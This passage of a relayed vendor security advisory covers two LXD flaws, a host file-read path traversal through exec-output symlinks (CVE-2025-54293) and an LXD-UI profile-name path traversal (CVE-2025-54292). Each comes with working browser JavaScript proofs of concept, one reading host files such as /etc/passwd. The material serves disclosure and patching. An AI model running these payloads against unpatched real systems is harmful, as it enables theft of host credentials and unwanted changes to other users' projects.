 func validExecOutputFileName(fName string) bool { 
 	if !shared.IsFileName(fName) { 
 		return false 
 	} 
  
 	return (strings.HasSuffix(fName, ".stdout") || strings.HasSuffix(fName, ".stderr")) && 
 		strings.HasPrefix(fName, "exec_") 
 } 

For exec-output, since a suffix is specified, it appears that arbitrary
files cannot be specified.
However, if an attacker has command execution privileges within a container,
they can create a symbolic link that satisfies the suffix condition within
the container and have the LXD host access it to perform the attack.
Reproduction Steps (2)

    Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd exec_XXX-symlink.stdout

    Execute the following JavaScript in browser DevTools to read files
via symbolic link:

(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousExecFile =
encodeURIComponent(`exec_../../../../../../../../../../../var/
snap/lxd/common/lxd/storage-pools/${projectName}/containers/${
instanceName}/rootfs/root/exec_XXX-symlink.stdout`);
const response = await
fetch(`/1.0/instances/${instanceName}/logs/exec-output/${malic
iousExecFile}?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

This technique allows attackers with command execution privileges within a
container to create symbolic links and attempt access to the host filesystem.


Risk

This vulnerability exists in the LXD 5.0 LTS series, which appears to remain
in widespread use, and if attackers have access to arbitrary projects and
instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information:
- LXD host configuration files (/etc/passwd, /etc/shadow, etc.)
- LXD database files (containing information about all projects and instances)
- Configuration files and data of other instances
- Sensitive information on the host system
Countermeasures

Since this vulnerability has already been fixed, the primary countermeasures
are providing information to users running older versions of LXD and, if
possible, backporting to other LTS versions:


Patches

LXD Series      Status
6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Ignored - Not critical
4.0             Ignored - Not critical


References

Reported by GMO Flatt Security Inc.


Severity
Moderate
6.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID
CVE-2025-54293

Weaknesses
No CWEs

_____________________________________________________________________


Client-Side Path Traversal in LXD-UI
Low
tomponline published GHSA-7425-4qpj-v4w3 Oct 2, 2025

Package
lxd-ui (lxd)

Affected versions
>= 0.2

Patched versions
0.18


Description

Impact

In LXD-UI, insufficient input validation when various parameters are
directly embedded in URL paths allows path traversal attacks. This
vulnerability occurs when attackers create malicious resource names
containing strings like ../, and when other users perform operations
on those resources, path normalization causes unintended switching
to different projects or resources.

Specific problematic areas include, for example, the following API
calls where group names are directly embedded in URL paths:

https://github.com/canonical/lxd-ui/blob/6a4a05268033774772612fda1f60dc9ae3967cd6/src/api/auth-groups.tsx#L38-L43

Additionally, as shown in the reproduction steps, similar issues
occur in profile navigation URL creation:

https://github.com/canonical/lxd-ui/blob/6a4a05268033774772612fda1f60dc9ae3967cd6/src/pages/profiles/ProfileLink.tsx#L12-L23

https://github.com/canonical/lxd-ui/blob/6a4a05268033774772612fda1f60dc9ae3967cd6/src/pages/instances/InstanceOverviewProfiles.tsx#L41-L49

During the penetration test period, we verified an attack that
redirects to different profile edit screens by including backslash ()
in profile names. The reproduction steps are shown below.


Reproduction Steps

    Log in with permissions to create profiles in a specific project
    Open browser DevTools and execute the following JavaScript to
create a profile containing path traversal:Note that this code sends
an API request with a profile name containing path traversal strings
to verify the vulnerability. In this PoC code, since forward slash (/)
was prohibited, it uses backslash () and employs camouflage using
spaces (using Japanese spaces since normal whitespace is stripped and
would make the attack payload noticeable) to verify difficulty of
detection in the UI.

(async () => {
const projectName = prompt("Enter target project name for
profile creation:");
const victimProjectName = prompt("Enter victim project
name:");
const victimProfileName = prompt("Enter victim profile
name:");
const japaneseSpaces = ' '.repeat(30);
const maliciousProfileName =
`changeme${japaneseSpaces}\\..\\..\\..\\${victimProjectName}\\
profile\\${victimProfileName}`;
const payload = {
name: maliciousProfileName,
description: "Test profile for path traversal"
};
const response = await
fetch(`/1.0/profiles?project=${projectName}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload),
credentials: 'include'
});
})();

    When attempting to open the created profile, verify that the path
is normalized and a different profile is opened

Also, confirm that the spaces make it more difficult to notice that
the name is somewhat abnormal.


Risk

The attack conditions require that the attacker can set malicious resource
names containing path traversal strings, and that another user (potentially
with higher privileges) attempts to perform operations on that resource.
However, given that many resources have name constraints, changing resource
names like group names requires significant permissions, and victims must
operate without noticing, the attack conditions are very difficult to meet.

Possible actions through the attack include, as shown in the reproduction
steps, causing users to mistakenly modify profiles in different projects.
For example, if the victim mistakenly adds the attacker's SSH key at this
time, the attacker may be able to SSH into instances in different projects.

As mentioned above, in other cases verified during the penetration test
period, effective attack vectors were not discovered due to resource name
constraints, permission constraints, and inability to maintain normal
frontend behavior.


Countermeasures

As a fundamental countermeasure, URL encoding should be performed when
passing parameters as path parameters during API calls or when constructing
navigation URLs. Similarly, for query parameters, values could be
given = characters to specify different parameters. Therefore, we recommend
using URL class searchParams instead of simple string concatenation.


Patches
LXD Series      Status
6               Fixed in LXD 6.5 (LXD-UI 0.18)
5.21            Fixed in LXD 5.21.4 (LXD-UI ??)
5.0             Ignored - Not critical
4.0             Ignored - No web UI


References

Reported by GMO Flatt Security Inc.

Severity
Low
3.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

CVE ID
CVE-2025-54292

Weaknesses
No CWEs



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================
